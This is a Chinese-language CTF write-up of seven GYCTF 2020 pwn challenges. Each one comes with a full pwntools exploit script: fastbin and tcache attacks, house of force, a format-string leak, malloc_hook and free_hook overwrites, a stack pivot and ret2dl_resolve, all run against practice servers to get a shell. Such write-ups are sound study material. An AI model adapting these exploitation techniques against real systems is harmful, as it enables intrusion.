0%

GYCTF2020复现

⑧知道该说啥,几个月前的题目由于👴过于🌶🐓,当时一道都没有做,现在BUU遇到了,为了多水几篇🦟章,就把它单独列出来记录一下,顺便记录一下有啥之前不会的知识点.(由于👴是懒🐕,所以就做多少就记录多少了)

gyctf_2020_some_thing_exceting

64位libc 2.23 堆题目 fastbin
题目读入了flag,并且在位置上构造了0x60,所以这里使用fastbin attack。存在uaf,直接一套double free+show秒
注意为了绕过double free的检测,需要add 两个0x50的,同时最后放上0x10防止合并
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
context.log_level='debug'
#p=process('./gyctf_2020_some_thing_exceting')
p=remote('node3.buuoj.cn',26397)
#elf=ELF('./gyctf_2020_some_thing_exceting')
backdoor=0x6020a0
def add(size_1,size_2,content_1='',content_2=''):
p.recvuntil('to do :')
p.sendline('1')
p.recvuntil("ba's length : ")
p.sendline(str(size_1))
p.recvuntil("ba : ")
p.sendline(content_1)
p.recvuntil("na's length : ")
p.sendline(str(size_2))
p.recvuntil("na : ")
p.sendline(content_2)

def show(index):
p.recvuntil('to do :')
p.sendline('4')
p.recvuntil('project ID : ')
p.sendline(str(index))


def free(index):
p.recvuntil('to do :')
p.sendline('3')
p.recvuntil('Banana ID : ')
p.sendline(str(index))

add(0x70,0x50)#0
add(0x10,0x50)#1
add(0x10,0x10)#2
free(0)
free(1)#avoid double free check
free(0)
payload=p64(backdoor-0x8)

#0<-1<-0
add(0x60,0x50,'',payload)#3
#(backdoor-0x8)<-0<-1
#gdb.attach(p)
#pause()

add(0x60,0x50)#4
add(0x60,0x50)#5
add(0x60,0x50)#6
show(6)

p.interactive()

gyctf_2020_borrowstack

64位栈迁移
最好用send指令栈迁移,这道题就是基础迁移到栈上进行,泄露libc,然后ret地址放上one_gadget,然后直接getshell
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
context.log_level='debug'
#p=process('./gyctf_2020_borrowstack')
p=remote('node3.buuoj.cn',27000)
elf=ELF('./gyctf_2020_borrowstack')
bss=0x601080+0xb0
leave_ret=0x400699
call_puts=0x40065B
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
pop_rdi=0x0400703
main=elf.symbols['main']
p.recvuntil('want')
payload='a'*0x60+p64(bss)+p64(leave_ret)
p.send(payload)
p.recvuntil('now!')
payload='\x00'*0xb8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
#注意这里的地址比bss端加了8位
#should be puts_plt not call_puts
p.sendline(payload)
puts_addr=u64(p.recvuntil('\x7f')[1:8].ljust(8,'\x00'))
print(puts_addr)
print(hex(puts_addr))
base=puts_addr-0x06f690
one_gadget=base+0x45216
p.sendline('a'*0x68 + p64(one_gadget))
p.interactive()

gyctf_2020_force

64位libc2.23 house of force
这里不管申请多大的堆,都会读入0x50大小,所以这里是一个堆溢出,可以借此修改topchunk的大小
这里有一个很重要的关于泄露libc的知识:
申请一个极大的chunk,程序就会调用mmap进行内存分配,分配下的地址是libc 的跟随地址
所以这里我们可以先申请一个0x100000的chunk 来泄露libc 的基址
随后修改topchunk,利用house of force 进行攻击修改malloc hook来getshell

这里有一个非常奇怪的地方, 一种在本地能成功,但是远程泄露就失败,还有一种本地远程都能泄露成功
对于getshell,可以用malloc hook改成system然后size改成bin sh地址,也可以用one gadget
但是开始的时候这里one gadget没有成功(后来发现原因是add的时候chunk没有对齐)
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *
context.log_level='debug'
context.arch = 'amd64'
#p=process('./gyctf_2020_force')
p=remote('node3.buuoj.cn',25871)
elf=ELF('./gyctf_2020_force')
libc=ELF('./libc-2.23_64.so')
def add(size,data):
p.recvuntil('2:puts')
p.sendline('1')
p.recvuntil('size')
p.sendline(str(size))
p.recvuntil('bin addr ')
heap_addr=int(p.recv(14),16)
p.recvuntil('content')
p.send(data)
return heap_addr
'''
#this can be use in local not remote
libc_heap=add(0x100000,'aa')
libc_base=libc_heap-0x4d2010
'''
#this can use both remote and local
libc_heap=add(0x200000,'aaaa')
libc_base=libc_heap+0x200ff0
print(hex(libc_base))
#gdb.attach(p)
#pause()
#0x4d2010=0x7f8cda933010-(0x7f8cda825b10-0x3c4b10)
malloc_hook=libc_base+0x3c4b10
realloc_hook=malloc_hook-0x8
realloc=libc_base+0x846c0
one_gadget=libc_base+0x4526a
bin_sh=libc_base+0x18cd57
system=libc_base+0X45390
#onegadget is no use here because none of them is empty
#gdb.attach(p)
#pause()
payload=p64(0)*5+p64(0xffffffffffffffff)
heap_base=add(0x20,payload)-0x10 #0x030
print(hex(heap_base))

#here use one_gadget this can success in local and remote# 使用one_gadget
size=malloc_hook-heap_base-0x50-0x10 #注意这里对齐-0x10而不是0x8,否则就会失败写不进去
add(size,'aa')
add(0x20,'a'*8+p64(one_gadget)+p64(realloc+16))
#gdb.attach(p)
#pause()
p.recvuntil('2:puts')
p.sendline('1')
p.recvuntil('size')
p.sendline('12')
p.interactive()
'''
#use malloc hook->system this can success in local and remote# 使用system
size=malloc_hook-heap_base-0x50
add(size,'aa')
add(0x20,p64(system))
p.recvuntil('2:puts')
p.sendline('1')
p.recvuntil('size')
p.sendline(str(bin_sh))
#here is str not p64
p.interactive()
'''

gyctf_2020_signin

ubuntu18,有后门函数,只能add 16次,edit 1次,同时人为对doublefree进行了限制。
后门函数条件是ptr不为空,这里利用tcache整理机制填充fd
后门函数有一个calloc,利用calloc从fastbins中取chunk会把其他chunk整理进入tcache中,进而修改fd指针,进入后门
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
context.log_level='debug'
#p=process('./gyctf_2020_signin')
elf=ELF('./gyctf_2020_signin')
p=remote('node3.buuoj.cn',25949)
ptr=0x4040C0
def add(idx):
p.recvuntil('choice')
p.sendline('1')
p.recvuntil('idx?')
p.sendline(str(idx))

def edit(idx,value):
p.recvuntil('choice')
p.sendline('2')
p.recvuntil('idx?')
p.sendline(str(idx))
p.sendline(value)

def free(idx):
p.recvuntil('choice')
p.sendline('3')
p.recvuntil('idx?')
p.sendline(str(idx))

def backdoor():
p.recvuntil('choice')
p.sendline('6')


for i in range(9): #0->8
add(i)
for i in range(9): #0->8
free(i)
#tcache 7
#fastbin 2 7->8 8 last
add(9) #tcache 6
edit(8,p64(ptr-0x10))
backdoor()

p.interactive()

gyctf_2020_some_thing_interesting

ubuntu16 64位堆题目,uaf,fastbin attack
开始使用格式化字符串泄露pie偏移,进而泄露libc基址
输入:OreOOrereOOreO%12$p
输出:OreOOrereOOreO0x555555555680
stack:

1
2
3
4
5
6
7
8
9
gdb-peda$ telescope 0x7fffffffddf0
0000| 0x7fffffffddf0 --> 0x555555555680 (push r15) 偏移为12
0008| 0x7fffffffddf8 --> 0x555549e0
0016| 0x7fffffffde00 --> 0x555555756050 ("OreOOrereOOreO%"...)
0024| 0x7fffffffde08 --> 0x7633d16a9ed34800
0032| 0x7fffffffde10 --> 0x555555555680 (push r15)
0040| 0x7fffffffde18 --> 0x7ffff7a2d830 (<__libc_start_main+240>: mov edi,eax)
0048| 0x7fffffffde20 --> 0x1
0056| 0x7fffffffde28 --> 0x7fffffffdef8 --> 0x0

可以确定在偏移为17处可以libc基址
所以本次输入:OreOOrereOOreO%12$p
输出:OreOOrereOOreO0x7ffff7a2d830
这个地址就是<__libc_start_main+240>,进而可以计算libc基址
接下来就是正常的 uaf结合fastbin attack在malloc_hook处利用one gadget来getshell,另外注意调整栈帧
这里比较只比较前0xe个,后边可以用来格式化字符串

check函数的格式化字符串漏洞,可以用来泄露libc 基址

free处的uaf漏洞

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
from pwn import *
context.log_level='debug'
#p=process('./gyctf_2020_some_thing_interesting')
p=remote('node3.buuoj.cn',26050)
#elf=ELF('./gyctf_2020_some_thing_interesting')

def leak():
p.recvuntil('please:')
p.sendline('OreOOrereOOreO%17$p')
p.recvuntil('to do :')
p.sendline('0')
p.recvuntil("OreOOrereOOreO")
libc_start=int(p.recv(14),16)-240
base=libc_start-0x20740
print(hex(base))
return base
def add(size_1,size_2,content_1='',content_2=''):
p.recvuntil('to do :')
p.sendline('1')
p.recvuntil("O's length : ")
p.sendline(str(size_1))
p.recvuntil("O : ")
p.sendline(content_1)
p.recvuntil("RE's length : ")
p.sendline(str(size_2))
p.recvuntil("RE : ")
p.sendline(content_2)
def edit(index,content_1='',content_2=''):
p.recvuntil('to do :')
p.sendline('2')
p.recvuntil('Oreo ID : ')
p.sendline(str(index))
p.recvuntil("O : ")
p.sendline(content_1)
p.recvuntil("RE : ")
p.sendline(content_2)
def free(index):
p.recvuntil('to do :')
p.sendline('3')
p.recvuntil('Oreo ID : ')
p.sendline(str(index))
def show(index):
p.recvuntil('to do :')
p.sendline('4')
p.recvuntil('Oreo ID : ')
p.sendline(str(index))

base=leak()
malloc_hook=base+0x3c4b10
one_gadget=base+0x4526a
realloc=base+0x846c0
add(0x68,0x68,'aa','aa')
free(1)
#O->RE RE last

edit(1,'\x00'*8,p64(malloc_hook-0x23))
#O be RE,RE be malloc_hook-0x23
payload='a'*(0x13-0x8)+p64(one_gadget)+p64(realloc+0xb)
add(0x68,0x68,'a'*8,payload)
#gdb.attach(p)
#pause()
p.recvuntil('to do :')
p.sendline('1')
p.recvuntil("O's length : ")
p.sendline('20')

p.interactive()


'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

'''

gyctf_2020_document

ubuntu16 64位堆题目,uaf,free_hook
很简单的一道堆题目,uaf+show+edit,虽然只能edit一次,但是也很水了
题目直接就申请固定大小0x80,直接unsorted直接泄露基址。又因为0x20的chunk维护堆,只要改了这个chunk就可地址任意写。
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
context.log_level='debug'
#p=process('./gyctf_2020_document')
p=remote('node3.buuoj.cn',28602)
#elf=ELF('./gyctf_2020_document')

def add(name,sex,content=''):
p.recvuntil('choice :')
p.sendline('1')
p.recvuntil("input name")
p.sendline(name)
p.recvuntil("input sex")#1 for woman 10 for man
p.send(sex) #W or M
p.recvuntil("input information")
p.send(content) #read 112 0x70
def show(index):
p.recvuntil('choice :')
p.sendline('2')
p.recvuntil('index : \n')
p.sendline(str(index))
def edit(index,choice,content):
p.recvuntil('choice :')
p.sendline('3')
p.recvuntil('index : ')
p.sendline(str(index))
p.recvuntil("change sex?")
p.send(choice)#Y or else
p.recvuntil("information") #each change once
p.send(content) #read 0x70
def free(index):
p.recvuntil('choice :')
p.sendline('4')
p.recvuntil('index : ')
p.sendline(str(index))

add('/bin/sh\x00','W','A'*0x70)#0
add('/bin/sh\x00','W','A'*0x70)#1
free(0)
show(0)
malloc_hook=u64(p.recv(6).ljust(8,'\x00'))-0x58-0x10
print(hex(malloc_hook))
libc_base=malloc_hook-0x3c4b10
print(hex(libc_base))
free_hook=libc_base+0x3c67a8
system=libc_base+0x45390
add('/bin/sh\x00','W','A'*0x70)#2
add('/bin/sh\x00','W','A'*0x70)#3
print(hex(system))
payload=p64(0)+p64(0x21)+p64(free_hook-0x10)+p64(1)+'a'*0x50
edit(0,'N',payload)
payload=p64(system).ljust(0x70,'\x00')
edit(3,'N',payload)
free(1)
#gdb.attach(p)
#pause()
p.interactive()

gyctf_2020_BFnote

libc2.23,这道题目就是利用申请大堆(0x200000)从而覆盖canary绕过,完成栈溢出
栈溢出之后迁移进行ret2_dl_resolve。
还有一种方法,就是把read的got地址覆盖成mprotect修改权限后执行shellcode即可
这里还有另一种方法,是对于io结构利用,等到学到相关内容再回来看,地址:https://www.freebuf.com/column/228506.html
【这里我还试图修改fprintf的got地址为printf地址来泄露libc地址(他们两个就差最后一个字节),随后进行常规rop。但是这里尝试了半天都没有调用printf成功(也许是因为参数数量不同?),所以我放弃了,如果有大佬能用这种方法做出来请务必告诉我,万分感谢,我的qq在关于页面】
下面的exp是常规ret2_dl_resolve
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
# -*- coding: utf-8 -*-
from pwn import *
context.log_level='debug'
context.arch = 'i386'
#p=process('./gyctf_2020_bfnote')
p=remote('node3.buuoj.cn',28253)
elf=ELF('./gyctf_2020_bfnote')
read_got=elf.got['read']
read_plt=elf.plt['read']
fprintf_plt=elf.plt['fprintf']
fprintf_got=elf.got['fprintf']
atol_got=elf.got['atol']
libc_start=elf.plt['__libc_start_main']
leave_ret=0x08048578
stdout=0x804A044
postscript=0x804a060
main=0x8048761
_s=0x8048B5a
#_IO_printf 00049670
#_IO_fprintf 00049650
#read 5b00
#write 5b70
print(hex(read_got))
print(hex(fprintf_got))
print(hex(fprintf_plt))
pop_4=0x080489d8
#0x080489d8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
pop_3=0x080489d9
#0x080489d9 : pop esi ; pop edi ; pop ebp ; ret
pop_2=0x080489da
#0x080489da : pop edi ; pop ebp ; ret
p.recvuntil('Give your description : ')
payload='a'*0x32+'bbbb'+p32(0)+p32(postscript+0x400+4)
p.sendline(payload)
p.recvuntil('Give your postscript : ')
pop_ebx=0x08048441

stack=postscript+0x400

dynsym=0x80481D8
dynstr=0x80482C8
rel_plt=0x80483D0
plt_0=0x8048450
fake_offset = (stack + 24) - rel_plt
fake_sym_addr = stack + 32
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) # 这里的对齐操作是因为dynsym里的Elf32_Sym结构体都是0x10字节大小
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10 # 除以0x10因为Elf32_Sym结构体的大小为0x10,得到write的dynsym索引号
r_info = (index_dynsym << 8) | 0x7
fake_reloc = p32(read_got) + p32(r_info)
st_name = (fake_sym_addr + 0x10) - dynstr # 加0x10因为Elf32_Sym的大小为0x10
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12) #0x10


payload2 = p32(plt_0)
payload2 += p32(fake_offset)
payload2 += 'AAAA' #返回地址
#三个参数
payload2 += p32(stack+80)
payload2 += 'aaaa'
payload2 += 'aaaa'
payload2 += fake_reloc # (base_stage+28)的位置
payload2 += 'B' * align
payload2 += fake_sym # (base_stage+36)的位置
payload2 += 'system\x00' #st_name指向
payload2 += 'A' * (80 - len(payload2))
payload2 += '/bin/sh\x00'
payload = '\x00'*0x400+payload2

p.send(payload)

p.recvuntil('Give your notebook size : ')
p.sendline(str(0x200000))
p.recvuntil('Give your title size : ')
#pause()
p.sendline(str(0x20170c-0x10))
p.recvuntil("please re-enter :\n")
p.sendline(str(100))
p.recvuntil("your title : ")
p.sendline("2222")
p.recvuntil("your note : ")
#gdb.attach(p)
#pause()
p.sendline('bbbb')
#p.recvuntil('bbbbbbbb\n')
#p.recv(4)
#p.send('\x70')
p.interactive()
好饿啊,早知道不学安全了